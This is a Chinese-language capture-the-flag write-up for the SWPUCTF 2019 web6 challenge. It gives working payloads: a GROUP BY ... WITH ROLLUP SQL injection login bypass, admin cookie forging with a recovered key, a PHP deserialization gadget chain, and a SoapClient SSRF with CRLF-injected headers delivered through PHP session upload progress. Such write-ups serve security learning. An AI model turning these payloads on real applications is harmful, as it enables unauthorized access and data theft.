swpuctf2019web6
登录页面,随便输入一个账号密码
回显loginSELECT * FROM users WHERE username='1' and passwd='1'wrong username or password
username=admin' or '1'='1&passwd=1' or 1=1#
回显loginSELECT * FROM users WHERE username='admin' or '1'='1' and passwd='1' or 1=1#'Wrong password
回显有两种分别是wrong username or password和Wrong password说明单独对password进行了查询
可能是数值型或双字符型
select * from users where password=$pw
select * from users where password="$pw"
双字符型:pw=" or 1=1#1' or 1=1#
数值型:pw=' or 1=1#' or 1=1#
试了一下都不行
看了下wp payload为1' or '1'='1' group by passwd with rollup having passwd is NULL #,可以登录
rollup可以对passwd进行计数,用于产生passwd=NULL的行,having用来筛选该行,payload应该不唯一
不知道怎么做 根据提示有wsdl.php,看源码存在keyaaaaaaaasdfsaf.txt文件,内容为一串字符串,并且wsdl.php源码里提示了可用的method,试了下method=hint,得到'a few file may be helpful index.php Service.php interface.php se.php'
尝试访问method=File_read,要求输入参数,根据wsdl.php
中的提示可知参数名为filename
post提交后可得几个文件的内容(Service.php无权限,在index.php中发现还有encode.php,也可拿到代码)
可以看到index.php文件中有一个白名单,其中有一个get_flag的method,使用时提示要求admin和127.0.0.1,可能要伪造cookie或ssrf等方式调用该method。
回到拿到的几个文件,其中有一个encode.php文件,我们可以给出decode,
<?php
function de_crypt($swpu,$key){
$swpu=base64_decode($swpu);
$key=md5($key);
$h=0;
$length=strlen($swpu);
$swpuctf=strlen($key);
$varch='';
for($j=0;$j<$length;$j++){
if($h==$swpuctf)
{
$h=0;
}
$varch.=$key{$h};
$h++;
}
$content='';
for($j=0;$j<$length;$j++)
{
$content.= chr(ord($swpu{$j}) - (ord($varch{$j}))+256 % 256);
}
return $content;
}
之前获取的txt文件名为keyaaaaaaaasdfsaf.txt,猜测为此处的key值,再将cookie带入,得到解密后字符串为'xiaoC:2'。
然后就可以用encode文件伪造cookie了,但是伪造成admin仍然不能直接读取Seivrce.php,也不能直接get_flag。
再看看剩下的几个文件,se.php中有一个反序列化的操作,可能可以利用。首先这里能构造ssrf的只有dd类
class dd
{
public $name;
public $flag;
public $b;
public function getflag()
{
session_start();
var_dump($_SESSION);
$a = array(reset($_SESSION),$this->flag);
echo call_user_func($this->b,$a);
}
}
这里的call_user_func可以将第一个参数当作函数名,后面的参数当作参数,调用该函数,并且$a和$b都是可控的值。
这里首先我们要找出反序列化链,这里因为所有类都给出来了,所以比较好找
$ee=new ee();
$ee->str1=new dd();
$ee->str2='getflag';
$cc=new cc();
$cc->mod3='1';
$cc->mod1=$ee;
$aa=new aa();
$aa->mod1=$cc;
$aa->mod2=array('test2'=>&$aa->mod1);
$bb=new bb();
$bb->mod1=$aa;
$ee->str1->b='';
$ee->str1->flag='';
$sa=serialize($bb);
echo $sa;
这里的$ee->str1的几个成员变量需要填上payload,先空着。
然后是找到ssrf的部分,这里给出了一个interface.php文件,刚开始不知道是干嘛的,看了wp才知道是用来ssrf的,里面有一个SoapServer类,我们在客户端可以使用SoapClient类来与之通信,这也是ssrf的基础。
SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。
根据前面method需要admin和127.0.0.1来访问get_flag方法,我们可以用SoapClient来调用get_flag方法,SoapClient实际上并没有这个方法但是_call方法会帮助我们调用SoapServer中的get_flag方法
call_user_func函数有调用成员方法的作用,所以我们令$ee->str1->flag='get_flag',$ee->str1->b='call_user_func',然后将$a数组中第一个成员设为SoapClient类即可,这里可以利用php序列化的属性,在se.php文件中有ini_set('session.serialize_handler', 'php');
,这里将php序列化处理器设置为php,只要我们在session中写入含有|的字符串,php会自动将|前的字符串作为键,其后的字符串作为值反序列化
所以我们首先构造SoapClient类:
$target = 'http://127.0.0.1/interface.php';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: user=xZmdm9NxaQ==',
);
$b = new SoapClient(null, array('location' => $target, 'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'=>'aabb'));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo $a;
然后需要将反序列化后的字符串写入session中,这里上面的php反序列化有介绍,详细一点的可以看刷题记录:[SWPU2019]Web6。
将payload传入session的方式有两种, 一种是对面开放本地可控的数据, 另一种是因为配置不当造成session可控当session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,
当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
我们构造一个上传的html
<html>
<body>
<form action="http://a3aff44b-21bc-4903-b8a4-434700b1be98.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
这里有个坑就是上面说到,在上传文件的同时上传session.upload_progress.name变量,会写入session,所以需要上传一个文件,如果不上传文件就会收到502。我们在burp中将session.upload_progress.name变量(默认名为"PHP_SESSION_UPLOAD_PROGRESS")值设置为上面SoapClient序列化后的字符串,然后在开头加上|,并且在请求头加上cookie: PHPSESSID=a。这里的PHPSESSID是任意值,但是必须是唯一的,与后面ssrf时的PHPSESSID一致。
然后我们将$ee->str1的属性成员填入
$ee=new ee();
$ee->str1=new dd();
$ee->str2='getflag';
$cc=new cc();
$cc->mod3='1';
$cc->mod1=$ee;
$aa=new aa();
$aa->mod1=$cc;
$aa->mod2=array('test2'=>&$aa->mod1);
$bb=new bb();
$bb->mod1=$aa;
$ee->str1->b='call_user_func';
$ee->str1->flag='get_flag';
$sa=serialize($bb);
echo $sa;
将输出的序列化字符串通过post方式,aa变量提交给se.php页面,同样要带上cookie,即可获取flag
网友评论